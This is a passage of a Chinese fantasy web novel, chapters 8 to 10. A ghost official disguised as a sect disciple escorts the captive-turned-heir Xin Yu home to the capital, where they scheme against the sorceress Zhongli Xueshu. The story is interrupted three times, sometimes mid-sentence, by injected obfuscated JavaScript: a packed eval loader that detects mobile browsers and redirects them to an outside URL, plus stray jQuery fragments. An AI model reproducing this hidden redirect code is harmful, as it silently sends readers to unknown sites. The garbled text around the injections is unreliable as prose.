阙音感受到他的视线,也抬起头,和他相视,星辰语气平静,一个字一个字道:“我的心愿是,复仇。” 复仇。 阙音这会才从他眼里看出强烈的恨意。 从看见火焰胎记时,她脑中便闪过一个画面——漆黑不见五指的地牢,铁链囚住少年四肢,他头发凌乱,衣裳破碎,污血遍布,角落里,堆着枯骨无数。 阙音问道:“你要复仇的人,是谁?” 星辰双眉紧蹙,面露痛苦,压低声音,“仙门泽生,钟离雪姝。” 钟离雪姝,泽生掌门钟离乐的女儿,也是唯一继承人。 泽生比荒歧早建一百多年,可以说,在众仙门还未建立时,泽生已经在人间赫赫有名,并且,最厉害的术法从不外传。 “你真的会助我复仇么?若是你此刻将我交给她……”星辰转过脸去,笑着,“你就是泽生的恩人。” “星辰,”阙音喊他名字,问:“你叫星辰吗?在你眼里,我竟是这种人?或者说,在你心里,荒歧也是如此。” 星辰没有回答,眸色挣扎。 阙音望着地上的石头,声音悠远,“荒歧最初是一座荒山,山下爆发瘟疫,长老不顾自身安危,将许多人救下,那些没了爹娘的孤儿,从此在荒歧有了家。” “正因为如此,我才拜入荒歧。” “我助你复仇,”她认真的,重复一遍方才的话,接着道:“并不是平白无故帮你,泽生的秘密,也是我要探查的。” “辛誉。”星辰突然开口。 “我真名叫辛誉,辛太傅的第三子。” 阙音想起白觉之前对她说:“师父,京都太傅府的三公子辛誉失踪,一年过去了都没有找着,我去找,黄金百两呢!” 原来如此,被关在泽生,又怎会找得到。 阙音问:“泽生为何抓你?” 微风吹过廊下细竹,辛誉抬手抚竹,闭了闭眼,身形单薄。 他似在努力回忆,声音涩然,“三年前,我与阿姐出门闲逛,我们被人群挤散……” “阿姐喜欢吃栗子,我买了去找她,发现几个黑衣人跟着她,我只好将栗子打在他们身上,好让他们目光从阿姐身上移开来追我,我对他们说,要抓便抓我,不要动我阿姐。” “他们找不到人,我想阿姐应该是躲起来了,只要她安然无恙,我就放心了。” 辛誉没有继续说下去,他在泽生如何度过三年,又如何逃出来。 阙音也没有问,她的心里,难以平静。 三年前,甚至十几年前,那时,她并不知他已经转世,她只是等着,日复一日地等。 神主曾告诫她,身为鬼司,不可与凡人有任何瓜葛。 她不甘心,至少,让她知道他的存在,也好暗中护他一世平安。 彼时,她和其他殿的鬼司斗了几天几夜,被神主惩罚,关在鬼域半月,出来时,神主告知了她关于他的转世。 一个十六七的少年,无忧镇,脖颈后有一处火焰胎记。 她错过了十几年,若她能早点找到他,他也不会受这些苦了,他身上的恶鬼气息浓重,她第一次见到他时便看了出来。 游荡在人间的许多魂魄无缘无故消失,从未有过这样的情况,她并非没有怀疑过泽生,泽生整个门派外都布置了结界,一般人进不去,就算她能进也会惊动。 辛誉看向她,“抓的人不止我一个,他们都死了,只有我,撑着一口气,活了下来。” 他折下一片竹叶,垂下目光,“三年,我没见到钟离雪姝,但我认得她的声音,她与我母亲关系颇好。” 阙音问道:“既如此,你有什么计策?” “暂时没有……不过,钟离雪姝此人心思重,我必须装作神志不清,才能不让她怀疑,一旦我恢复身份,她必然出现。”辛誉嘴唇绷成一条直线,倏地一笑,“还请仙师帮忙。” 阙音终于认真看他的脸,眉不深,却是恰到好处,五官不算特别精致,但已是上乘,眼角有些轻佻,又秀丽。 有那么一瞬,她恍惚看见了前世的那张脸,闭眼,睁眼再看,又没了熟悉的影子。 她语态诚恳,“我以师姐的名义为你养伤,实则暗中探查,如何?” “……” “还是说你想做我徒弟?”阙音淡淡一笑。 好像无论哪种选择,都是她占了便宜。 辛誉顿了半晌,开口道:“师姐。” 阙音道:“辛誉,我送你回家。” 辛誉心一颤,低头不语。 阙音随便收拾了下衣物,跟白觉道别,白觉面上疑惑,但终究是没开口。 阙音嘱咐道:“白觉,需要你时,你再来。” 白觉身姿板正,神情也板正,木讷回道:“师父,你放心,我会努力挣钱养宗门的!” 星辰在一旁莞尔一笑,白觉见到,盯着星辰,反嘱咐阙音,“师父,你在京都一定要小心啊。” 阙音颔首。 * 三人一同前行至京都,自夜里分路而行。 当今天下虽然太平,但百姓们都知道政权早已一分为二,东边由蘅国帝王统治,西边由蘅国各诸侯统治,二者几乎互不干涉。 蘅京繁华入眼,阙音却是早已看腻。 辛誉没有换衣服,仍旧穿着荒歧弟子的白色衣裳,衣料轻盈,走路时飘起浅浅涟漪,半束的发用一根青藤挽着,表情淡淡,真有那么几分仙风道骨。 辛誉突然停住脚步,抬头看辛府牌匾。 他回家了。 终于回家了。 与爹娘、哥哥、阿姐说笑的日子仿佛就在昨天,他不过是做了一场荒唐的梦,梦醒了,他是辛府三公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187088|165497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子。 他双眸没有任何情绪,阙音先一步走上台阶。 她毫无犹豫敲响大门,一声、两声、三声,门开了。 开门的人是个满头白发的老人,他双眸炯炯有神,打量着阙音。 阙音不待他开口,说道:“我来自仙门荒歧,带师弟辛誉回家,麻烦通报一声。” 老人听到“辛誉”二字,眼睛睁大,挤出身子往阙音身旁看,只见白衣少年抬步走了上来。 “三、三公子!”老人不敢置信。 辛誉抿唇,痴痴地望着他。 老人喜极而泣,忙回头跑远,边跑边喊,苍老的声音在府中回荡,“老爷!夫人!三公子回来了!三公子回来了!” 这时,阙音退后半步。 辛誉回头笑道:“师姐,你退后作甚,你可是我的恩人。” 阙音回道:“便于观察。” 是也不是,她不大喜欢看分别已久再度重逢的场面。 辛誉还想说什么,一双温暖的手握住了他。 “我儿,你回来了。”深蓝色华衣裹身的妇人眼含泪水,上上下下摸着辛誉,问:“这几年你都去哪儿了?” 辛誉张了张嘴,看着母亲身后的二人,生涩喊道:“爹,阿姐。” 辛老爷缓慢点了点头,没有说话,一身黄衣的姐姐端庄明丽,面容忧伤,眼中含泪,她捏着手帕似乎想上前跟辛誉说话,脚步微动,又收回去。 辛誉继而扶额生涩道:“娘,我头疼,可不可以进去再说。” “好好好,”她转眼看到阙音,“你是?” 阙音走上前,恭敬回道:“夫人,我来自仙门荒歧,此次陪师弟回家,为他疗伤一事却不能断。” 辛夫人怔愣片刻,眼泪落下,“仙师请进。” 阙音没有客气,颔首大步跨进门槛。 辛誉被众人簇拥着走到一间屋里,他想站着,却被辛夫人按着坐下,只好作罢。 辛夫人又对阙音温柔道:“敢问仙师怎么称呼?仙师请坐。” 阙音退后,神情严肃,“夫人唤我阿音就好。” “阿阿音,我儿他哪里受伤了?” 阙音想了片刻,解释道:“师弟被心怀不轨之徒关了三年,神智受损,记忆不全,幸亏得我门救下,才恢复不少。” 姐姐纯净不含杂质的声音伤心道:“就是那夜追我们的黑衣人。” 辛夫人听着,眼眶再次湿润,握住辛誉一只手,“好在回来了,以后,不会让你受苦了。” 又道:“仙师,真不知该如何报答你们,若是能治好誉儿,定当重谢,仙师不嫌弃,就在府中住下罢,如此也好治疗。” 此话正合了阙音心意,她眼睫微动,点点头,表示答应。 阙音瞧着屋里屋外的仆人丫鬟,道:“夫人,阿音有一事相求。” 辛夫人和姐姐同时开口询问,“何事?” 阙音道:“既是养伤,需得清静,师弟此后的出行由我决定,若来看望师弟,也要先与我通报一声,照顾师弟的下人,也需听我吩咐安排,不可随意进出。” 阙音语气温和,却不容置喙。 辛夫人未答,辛老爷却是抢先道:“就依仙师所言,仙师有任何要求,尽管提出来。” 话音刚落,微弱呻吟打破寂静,众人慌张看去,辛誉双手抱头,眉间尽是痛苦神色,他咬住下嘴唇,嘴角抽搐。 他像是忍耐许久,终于忍不住,发出一声凄厉尖叫。 8. 蘅京(1) 辛誉自方才体内鬼魂躁动起,心中便犹如大浪翻涌,无法平静。 这世间有一个人,能够让他痛不欲生。 三年里,钟离雪姝用他身体炼器,只要离他不远,便可以控制他。 那日,地洞突然破裂,枯藤燃起大火,浓烟滚滚,他死里逃生,不知跑了多久多远,醒来,他发现自己身处乱葬岗,浑身疼痛,无法动弹。 但他感受到,体内鬼魂力量变强了,他厌恶这些东西,却靠着这些东西活了下来。 他逃到无忧镇,离泽生最远的地方,之后他靠在码头搬运货物生存下去。 那些耻辱恨意再次填满心头,眼中不再是熟悉的温馨卧房,而是充斥着血腥气的地洞。 他还清晰记得,身旁少年双腿跪地,双手被铁链高高吊起,奄奄一息对他道:“你一定要活着,逃出去,揭露这里的罪行。” 钟离雪姝,来了。 衣袖滑落,辛誉露出手腕上的红发带。 阙音眸光微动,朝发带施了一道术法,眼见辛誉缓缓平复,垂着眼眸,犹如刚从噩梦中醒来。 辛夫人失措地扶着辛誉右肩,“誉儿,你……哪里不舒服,跟娘说说。” 辛誉神色迷离,撑着桌子边缘踉跄站起来,嗓音嘶哑,“我想歇一会。” 辛夫人张了张嘴,辛朝几步走到辛誉身旁,挽过他的手,“姐姐扶你去休息。” 阙音看向辛老爷,再看向辛夫人,提醒道:“还请各位回避。” 辛老爷目光从床榻收回,对周围下人深深道:“仙师的话你们都听见了,去收拾一间屋子出来给仙师。” 说话间,辛朝走了出来,辛老爷背着手,往门口走两步,道:“夫人,朝儿,走吧,别打扰仙师医治。” 辛夫人眼神没有从内室移开过,直到辛朝走进,轻轻唤一声“娘”,才收回意识。 辛夫人缓慢点头,转身离开。 下人们陆续退下,只剩阙音和辛誉二人。 阙音目送他们远去,随后将关门上,她走到床边,辛誉双手交叠放在胸前,眼睛闭着,看着像是睡着了。 但他眼睫微颤,阙音轻声道:“好点了吗?” 未等床上的人回话,她又道:“方才我还以为,你是为了配合我的措辞,才装成如此模样。” 辛誉仍闭着眼,嘴角浮出一抹淡笑,看不真切,“确实是我装的,从踏进家门的第一步,我就开始行动了。” 阙音上前一步,静静地看他,“下一步你准备如何?” 辛誉眼皮下的眼珠转了转,睁开眼,他眼神苍凉悠远,并不看阙音,淡淡笑道:“静待毒蛇出洞。” 阙音转过身子,背对着床榻,“你需要我做什么?” 辛誉将被子向上提了些,彻底盖住脖颈,无奈道:“师姐配合我便好。” 阙音思索着,半晌无话。 也不知过了多久,辛誉瞥见燃起的烛火,他抬了抬愈来愈沉重的眼皮,才意识到自己方才睡着了。 少女站在烛光下,背影冷肃,再次睡过去之前,他瞧见她快速布置了一道结界在屋内,接着,消失在原地。 * 寅时三刻,蘅京郊外,暗夜笼罩。 冷风飒飒贯穿林木,树叶飘零,紫衣女子稳步踩过地上堆积的叶子,却没有发出一丝声音。 阙音现出了鬼魂真身,她青丝披散,额间坠着古朴的银制凤凰,额饰下的眉间肤上,有一金色小火焰烁着微光。 在她身后两侧,站着两个黑衣鬼差。 阙音停住脚步,下了命令:“这段时日我不便行动,你们留在人间。” 两鬼差同时点头,随即化成一阵风消失在林中。 阙音抬步,身后传来熟悉的笑声。 “阙大人,别来无恙。”男子把玩着黑色兜帽,冰蓝的眼眸光彩熠熠,额间金色火焰分明。 阙音转过身子,向前走几步,心中涌起久违的亲切感,“落君,你怎会来?” 落君摘下兜帽,露出棱角分明的脸,他上前一步,毫无悲喜地看她,“你可知自己在做什么?” 他声音介于青年和少年之间,没有什么情绪起伏,但细听下来,可见关照之心。 阙音看着他,语气坚定:“我知。” 落君是她的同僚,亦是她最好的朋友,神主将神力赐予她,也赐予了落君,她守护人间,他守护鬼域。 初到鬼域时,她总是冰着一张脸,除了上报消息给神主,几乎不搭理任何一个鬼。 后来,落君嬉笑着,经常陪她去人间收押鬼魂,那双冰蓝色的眼眸,总是散发着温暖笑意。 她对他说:“我在等一个人,我要偿还他的恩情。” 落君眨眨眼,“他说过要你偿还吗?” 她摇摇头,垂下眼眸。 这是她欠他的,死了也要偿还。她死不瞑目。 落君道:“我陪你一起等,不过,你千万记住,人鬼殊途,我们不可干涉凡人命运。” 她知道,干涉凡人会受到惩罚,至于是什么惩罚,神主没有告诉她。 那时,她没有答话。 一百多年过去,她还是无法开口。 她抬头看着落君,忽然觉得他眼眸失了光泽,神情却未有任何变化,她退后一步,撇过脸,“这是我的事情,如今人已等到,剩下的路我自己走。” 她背过身,淡淡说道:“谢谢你。” 落君重新戴上兜帽,整张脸隐在阴影里,他身形修长挺拔,此刻却有些憔悴感。 他又上前一步,道:“泽生险恶,你不一定是他们的对手。” 阙音回过头,“你查过泽生?” 落君微扬起头,语气平静,“闲得无聊,随便看看。” 他将兜帽往下扯,遮住眉眼,“我们是朋友,不是吗?”语罢,化作几只金色蝴蝶,悠悠远去。 阙音怔怔望着蝴蝶没了踪迹,抬起右手,一只闪着紫光的黑蝶飞在空中。 “钟离雪姝在何处?是否在泽生?” 黑蝶扇动翅膀,朝另一个方向飞去,空中留下紫色的光点。 阙音随着光点走,在清水客栈的一间屋外停下。 屋中并未落灯,她身子穿过门,红衣女子背对着她倚靠在窗边,身材高挑,姿态优雅,一种强大而自信的感觉扑面而来。 传闻,钟离雪姝为人正义,性格直率,爱打抱不平,救出许多陷于危难的人,无人不赞叹她心地善良,是仙门中最尊贵的仙师。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187089|165497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 阙音顺着钟离雪姝的视线看去,正是辛府的方向。 究竟什么愁什么怨,使得钟离雪姝如此恨辛誉? 她和辛誉的计划是引蛇出洞,这第一步,竟是来得这么快,钟离雪姝已经在蘅京了。 钟离雪姝蓦地转过身来,慢悠悠地走向桌边,阙音终于看见她的模样。 英气逼人的一张脸,长在女子身显得十分凌厉,但她眼尾挑起,生出媚意,凌厉感刚好被削去几分,媚骨天成,清绝艳丽。 阙音在屋内扫视一圈,没有发现任何灵器,钟离雪姝的身上,更是没有任何东西,应当歇息的时辰,钟离雪姝却没有睡。 天微亮,阙音动身离开。 辛誉独自一个院落,屋子众多,皆收拾得整齐干净,精美奢华。阙音随便挑了一间离辛誉较近的屋子,方便行动。 她变回凡人之身,挺直背坐在矮榻边。 须臾,有细微脚步声响起,阙音立刻站起来打开屋门寻了过去。 那声音有些远,阙音步伐极快,在廊下撞上提着食盒的辛朝。 阙音脚步一顿,开口道:“小姐这么早?” 辛朝温柔笑道:“仙师,我正要去寻你呢,我带了亲自做的早点,誉儿最爱吃的,你待会尝尝。” 阙音颔首,“多谢。” 阙音慢一步,让辛朝走在了前方,二人缓缓走着,辛朝道:“我许久不见誉儿,甚是思念,之后你们的膳食都由我亲自下厨,院外守着两个仆从,我已吩咐他们按时端来温水洗漱,如此仙师便不用来回跑动。” 阙音道:“小姐安排得很周到,但我早已辟谷多年,我的这份便不用了。” 辛朝微顿,偏过头对她笑笑。 走至辛誉屋外,辛朝欲抬手敲门,里面传来压抑的呻吟。 阙音蹙眉,辛朝连忙推开屋门,朝床榻跑去。 辛誉头发披散,捧着头蜷缩在地上,青丝帐被扯下一端,覆盖在他腿上。 辛朝放下食盒,蹲下,扶着辛誉,焦急问道:“弟弟,你怎样?地上凉,我扶你起来。” 阙音大步走至,和辛朝一同扶住辛誉躺下。 一道神力再次进入红发带,辛誉渐渐平息。 辛朝眼眶湿润,握着辛誉的手,眼中尽是心疼。 辛誉喘了喘气,眼眸微闭,手指因疼痛还微微颤着。 他嘴巴微微张开,仿佛要倾吐无尽的痛苦,最终只是说道:“阿姐不要担心,我没事。” 辛朝摸了摸他的头,“你再歇会,阿姐做了你最爱吃的肉包,不要忘了。” 说完,辛朝站起来,对阙音轻声道:“有劳仙师。” “小姐放心,我不会让师弟有事。” 辛誉忽地睁开眼,眼神逐渐清明。 辛朝走出屋外,还未下台阶,一仆人匆匆上前,“小姐,有贵客来访,夫人让小的来通知您,前去厅堂。” 辛朝露出疑惑之色,问:“何方贵客?” 仆人加重了声音,答道:“是钟离仙师。” 阙音和辛誉同时听到仆人的话,神情皆变得严肃起来。 屋外辛朝又问:“可知她来此,有何贵干?” 仆人回道:“好像是看望三公子。” 9. 蘅京(2) 辛誉目光对上阙音,她的眼神似乎在告诉他——尽管去做。 片刻,他重重点头,朝门外看了眼,随即双手抱头,连连喊叫,声音嘶哑,“不要抓我阿姐……不要抓我阿姐……” 阙音做出施法动作,假意治疗。 辛朝听见屋中动静,神情一惊,匆匆转过身欲进去看情况,然而迈出的那只脚顿在门槛外。 辛誉回家时她没有哭,此时听着凄惨的喊叫声,眼泪簌簌。 她颤抖着声对里面问道:“仙师,怎会如此?” 未等阙音说话,她已经忍不住进了屋,跑到辛誉面前,紧张地看着他,“阿姐在这里。” 听到辛朝声音的辛誉微抬头,他脸庞被凌乱头发遮住,只露出懵懂眼神,似在确认。 他试探问:“你……你是谁?” 辛朝眼睛里闪过讶然,“你不认得阿姐了?” 阙音转过脸看向辛朝,沉声道:“师弟并非头回发作,他经常,会忘了一些人和事。” 连至亲之人都可忘,钟离雪姝这个人也不会记得,如此,不管钟离雪姝有何目的都是身在明处,她和辛誉便可在暗处。 辛朝拿出手帕,贴着脸颊擦掉泪水,低声道:“都怪我,怪我。” “还请小姐静待,我自会前来告知的。” 辛朝勉强般弯了嘴唇,露出笑容,“我明白,今日是我冲动了,还请仙师谅解。” 语罢,辛朝没再继续逗留,快步离开,将门合上。 辛朝转过身,下了台阶,往院外走,经过仍低头等待的仆人时停住,吩咐:“你留在院外守着,随时听候仙师的差遣。” “是。” 待脚步声远去,辛誉的喊叫声也渐渐微弱,他坐着,一把扯过被子,将身体裹住,纤长的睫毛轻轻垂着,脸色平静,心中却在发苦。 阿姐。 阿姐比他大三岁,自他一出生,就天天缠着他,哄着他。在爹娘管教下,她成为蘅京数一数二的才女,待长到十六岁,阿姐出落得楚楚动人,端庄贵气。 虽然平时言行举止十分安静内敛,但他知道阿姐其实很活泼好动,会时不时带他出府玩耍,有时,还是他求着她带他出去。 他多次梦见那个夜晚,阿姐和他走散,跟随的仆从也不见人影。阿姐那夜,穿着淡粉锦裙,身后和屋顶的黑衣人,仿佛下一刻就会将她抓住,扣住喉咙,再不能出声。 绝望、惶恐、失措、心酸、不甘,犹如会动的藤蔓,紧紧攀住他,裹住他,即将窒息。 “辛誉。” 一声突如其来的呼唤,打破他的心绪。 他视线落在少女脸庞,她神色淡淡,眸中无悲无喜,仿佛不是尘世中人。 “我去探探情况,你记得用膳。”她蓦然说道。 辛誉微怔,问道:“仙师不吃吗?” 阙音摇头。 阙音吩咐仆人提了几桶热水到辛誉屋里,又提了热水进自己屋,匆匆沐浴后,换掉脏的衣物,一袭白衣站在廊下,长发如瀑,冷肃超然。 她暼向辛誉紧闭的门,伸出掌心,猝然出现一团火焰,摇摇欲坠。 淡淡烟雾缭绕,少女白衣变紫衣,身影凭空消失。 一瞬,阙音到了花厅屋檐,对面檐下,身着赤红衣裙的钟离雪姝分外醒目。 泽生衣服统一颜色为水绿,看来钟离雪姝下山并不想让他人知道自己的身份。 辛夫人站在辛朝和钟离雪姝中间,眉头紧锁,全然一副担忧的神情,辛朝则沉默不语。 阙音确定,辛朝已经告诉辛夫人方才的事情了。 三人皆不说话,阙音眸色微变。 钟离雪姝,竟然真的在悄悄打量辛朝,然而辛朝微低着头,似在思考,全然没有注意到对方的目光。 当年,钟离雪姝真正要抓的人是辛朝,阴差阳错,将辛誉抓了去。 钟离雪姝将视线收回,移到辛夫人脸上,道:“夫人不必太过担心,昨日收到您的消息,今日我便来了,我一定治好三公子……三年光阴,三公子能坚持到现在,实属不易,也必将有后福。” 她声音和本人相貌格外相符,嵌着几分英气爽朗。 辛夫人脸色变得温和,看向钟离雪姝的双眸里尽是欣慰和笑意。 辛朝垂下眼睫,没有说话。 辛夫人握住钟离雪姝的手,温柔道:“那你便在府中住一段时日罢,有你帮忙,我很放心。” 钟离雪姝盯着辛夫人的手,嘴角微微上扬,那目光又浅浅地、快速地,瞥了一眼辛朝。 阙音垂着的双手交握,于屋檐上来回走了几圈,直到三人自花厅离去,才停住脚步。 她蓦然蹲下,暗紫色衣裙在青瓦砖上铺开,发尾也在瓦砖上打了一圈,双手缓缓环膝,忽然间看起来瘦小又孤寂。 她沉沉看着自己灰白的手,杂乱无序的金色裂纹自手指开始延伸至手腕,仿佛一碰,就要彻底粉碎。 饶是她很难感受到疼痛,如今也不得不承受这些许痛感了。 原来这便是惩罚。 留给她的时间不多了。 阙音坐了很久,直到夜幕降临。她并不担心找不到人,只要她见过的人,不管这个人在哪里,她都能寻到。 阙音回到辛誉的院子清越居,她没有变回凡人之身,仍旧站在屋檐上,正对面檐下便是内室。 现下六月,天气闷热,圆牖内,辛誉穿着青色薄衫坐在书桌后,侧脸轮廓分明。 他没有握笔,亦没有捧书,只是看着书上的字,一阵风吹来,无情打乱书页,他也没有伸手阻止。 半晌,阙音趴在檐上,静静地看着他,神情温和带笑,似哪家小姐偷偷翻墙来见心上人。 好似,她不曾死去。 少年露出倦色,揉了揉眼睛,抬头望天,微风拂过,他眨眨眼,良久,低头,翻过一页,继续看。 辛誉眼睫微动,垂在左腿旁的手握成拳。 从她站上屋檐那一刻,他便感受到了浓烈的鬼魂气息。 他假装不经意抬头,看她的样貌。 他尽力控制自己的面部神情,在她看不到的地方,五指紧握,不敢松开。 她说她叫阿音,她来自荒歧。 一个仙门弟子,竟是……鬼魂。 怪不得,他第一眼看见她,就觉得熟悉。 某种意义上,他和她是同类。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15187090|165497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他曾也疑惑一个普通修道者,如何能年纪轻轻修为如此深厚,可以进入厉鬼的回忆中,可以为他抚平体内恶鬼,如今都有了解释。 究竟强大到什么境界,竟然可以变成人,行走于世间。 廊上挂着琉璃灯,昏黄光晕中,那个少女,穿着不知哪朝样式的暗紫色衣裙,古朴繁复,衣袖边缘绣着银丝纹路。 额间坠着一个银制凤凰,栩栩如生。眼珠如雾,眼神沧桑空洞,尖下巴,无血色的唇,犹如一颗失去亮光的夜明珠,躺在积满灰尘的匣子里。 和凡人之身的样貌相差无几,只是肤色和眼睛变了。 就是这样的一张脸,对着他浅笑。 他低了头,不敢再看,亦不想看。 这个少女,如此帮他,必定有什么目的。 但,不管是何目的,他都要利用她达成自己的目的。 辛誉合上书,关窗,一一灭掉烛火,摸索着上了床榻。 阙音翻过身子,仰躺着,望着天上月。 今夜,她只想做阙音。 太阳升起时,她回到屋中,变回荒歧弟子。仆人按时送来一些物品放在屋外,便匆匆离去,她开门,右侧前方的门同时被打开,屋中伸出一双白皙如玉的手,将水盆端走。 洗漱后,阙音穿过回廊,走进辛誉屋中。 辛誉并未束发,如瀑的发披在身后,坐在矮榻上。 他看见她,朝她淡淡一笑。 阙音站在离他几步远的地方,问:“你想何时见到她?” 辛誉想了一会,“再等几日。” “你可否感到无聊?” 辛誉眨着眼望她,双眸露出笑意,“有仙师在,怎会无聊。” 阙音朝他走近,说道:“这么待着身体会吃不消,带你吹吹风。” 未等辛誉反应过来,阙音已经一把抓住他的衣袖,往外走。 眨眼间,辛誉感觉身体变得轻盈百倍,待他站定,发现自己上了屋檐。 阙音松开他,往旁边走一步,丝毫不费劲地坐下。 辛誉心头出现一股奇妙的情绪,却也没说什么,听话地坐下。 此时的太阳还不大热烈,微风拂过脸庞,穿过衣衫,丝丝缕缕凉意裹袭,确实舒服。 这是他初次坐在檐上吹风。 身旁的少女不说话,也不看他。 轻薄的白色发带和发丝缠绕,打在她脸庞,风灌进她衣袖,坐姿飘逸,看着像不会沾染丝毫情感。辛誉看不清她的神情,却能感到悲伤和孤寂。 如此矛盾。 倏地,她清冷的嗓音出声问道:“你打算杀了她吗?” 她语气平静,似乎只是在问他要如何做,他说杀,她便会真的杀了她。 辛誉身体紧绷,这个问题他没有仔细想过。 被关的那些日子,他每天都想杀了她,在他最快意的年纪,迎来致命一击,他常常没了活下去的意志。 但此刻,他不知道答案。 杀了她,也回不到从前了。 他迫切想做的,是让众人看清她的真面目,以及,他要弄清楚,她和娘之间的关系。 辛誉轻声回道:“会吧。” 10. 蘅京(3) 阙音没有说话,忽而,撇过脸,与他对视,瞳孔犹如一颗精心打磨的珠子,看不出任何情绪。 她脸色不如平常少女那般光泽有血色,细细看下来,眼眶下略微青黑,尽显沧桑,辛誉眼睫轻轻颤了颤,道:“仙师,我饿了。” 阙音极快地抓住他的薄袖,在手中缠了一圈,飞身下了屋檐。 他稳稳站定,阙音即刻把手收回。 他一边伸手抚平衣袖上的褶子,一边半抬眼看她,试探性问:“仙师可要用膳?我阿姐的手艺,极好。” 阙音没有出声。 既没答应,也不拒绝。 有多久没有尝过人间的吃食了,她记不清了,唯一记忆深刻,还是救下白觉后不久,白觉为她煮的生辰面。 她没有味觉,自然也就不期望任何食物。 时光好像回到三百多年前,风国没亡,她和他都没死,她捧着还热乎的海棠酥塞给雪地跪着的少年,那是她第二次见到他。 少年满身是雪,僵着身子,被风霜席卷的脸,穿透人心的倔强。 海棠酥在他手中,他没有动,亦不看她一眼。 阙音蜷了手指,有些艰难地动了动嘴唇,“好,我尝尝。” 她又道:“我已经辟谷多年,今日,便打破这个惯例。” 辛誉的神色从稍许惊讶转成了然。 她在解释。 他朝第二道院门远远看去,门被关着,暂时无人来扰。 “仙师请进。”他伸出手,示意她先行。 辛誉大步跟来,打开饭桌上的食盒,他动作轻柔且快,修长手指将一碟又一碟吃食拿出放好,似忙碌的店小二,敛着愉快之情,要客人尽情享受。 碗筷都摆好后,他勾唇望着她,“仙师坐呀,不用客气。” 阙音自他对面坐下,他这才跟着坐下。 桌上有粥有点心,有些阙音不曾见过,她犹豫间,辛誉已经夹了一块点心放到她碗里,笑眯眯道:“这是豆沙包。” 阙音看他一眼,从他期盼的眼神里,夹起白团团的包子,微张嘴,咬了一小口。 她嚼得慢,细细品尝,口感很软,却无味。 吞咽至腹中,她拿出帕子擦擦嘴角,道:“确实很好吃。” 辛誉抿唇,“仙师喜欢吃甜的?” 阙音微微点头。 “若是喜欢,不妨多吃些。” “不必,我尝尝鲜即可。” 她没再说话,也没再动筷,就默默地看着对面的少年吃。 辛誉也没再劝她,大快朵颐一番。 这样的日子又过了两日,阙音尝了栗子粥,辛誉问:“仙师喜欢这样的味道吗?” 阙音思考了会,回道:“尚可。” 辛誉眼眸中闪着笑意,语气却带了一丝不解,“仙师果然钟情甜食,但在曲若怜的回忆中,你给我的糕点,竟是无味的。” 阙音摩挲着食指,那糕点是她用神力变幻而出,味道自然是不同的。 她从凳子上起身,走到门槛边,清幽的嗓音缓缓道:“是时候见她了。” 辛誉停住手中送到嘴边的勺子,嘴角扯出一丝若有若无的笑,“好。” * 阙音与守在院外的仆人沟通一二,便在院中亭子等着钟离雪姝她们过来。 辛誉坐在亭中石凳上,他穿着浅蓝色衣裳,外套一件厚披风,将自己裹得密不透风,唯露一张白皙的脸,长长的睫毛低垂,让人看不清眼里的情绪。 阙音倚靠在朱红圆柱上,闭着眼睛,似在浅眠。 一声从远处而来的“仙师”打破寂静,阙音睁开眼。 辛朝一身明绿色衣裙走在前方,她的身后,正是辛夫人和钟离雪姝。 钟离雪姝仍旧穿着红裙,裙摆绣着金丝花纹,不是前几日的那个纹样。 阙音走下台阶,朝辛夫人,辛朝拱手施礼。 钟离雪姝微微笑着,“这位便是荒歧的仙师吧,真是年轻有为。” 阙音抬眸看她,也施了一礼,“过奖。” 钟离雪姝也回她一礼。 辛夫人朝阙音走过来,目光也从亭子收回,轻声问道:“阿音,誉儿如何了?” “师弟这几日没有发病,只是……他一时接受不了自己忘了你们。” 听到此话,辛夫人愁色满面。 阙音转身,快步走到辛誉身旁,牵着他的衣袖站起来,慢慢下了台阶,向三人走近。 辛誉神情恍惚,躲在阙音背后,偷偷地抬眼看她们。 阙音对身后的人平淡道:“师弟,她们来看你了。” 辛朝蹦了一步到他身旁,睁着圆圆透着笑意的眼睛,脆声道:“弟弟,我是阿姐,娘正在看你呢。” 辛誉目光移到辛夫人和钟离雪姝身上,又快速地看了一眼辛朝,懦懦地喊道:“阿姐。” 辛朝喜笑颜开,又听他喊了一声,“娘。” 辛夫人喉咙微动,似想要说话,最终还是没开口,点点泪光凝聚在眼眶。 钟离雪姝突然出声:“阿音仙师,虽然你救了三公子,可你毕竟修行尚浅,一直这样下去,恐怕他的病情会愈加严重。” 阙音默然,众仙门中,荒歧声望不高,救人治病的名声还是来自多年前的青封长老,但长老云游四海,早已不在荒歧,弟子们都以为他老人家在闭关。 这些年,她很少待在宗门,也从不暴露自己是荒歧弟子,更不用说其他仙门认识她了。 钟离雪姝怀疑她的能力,也是理所当然。 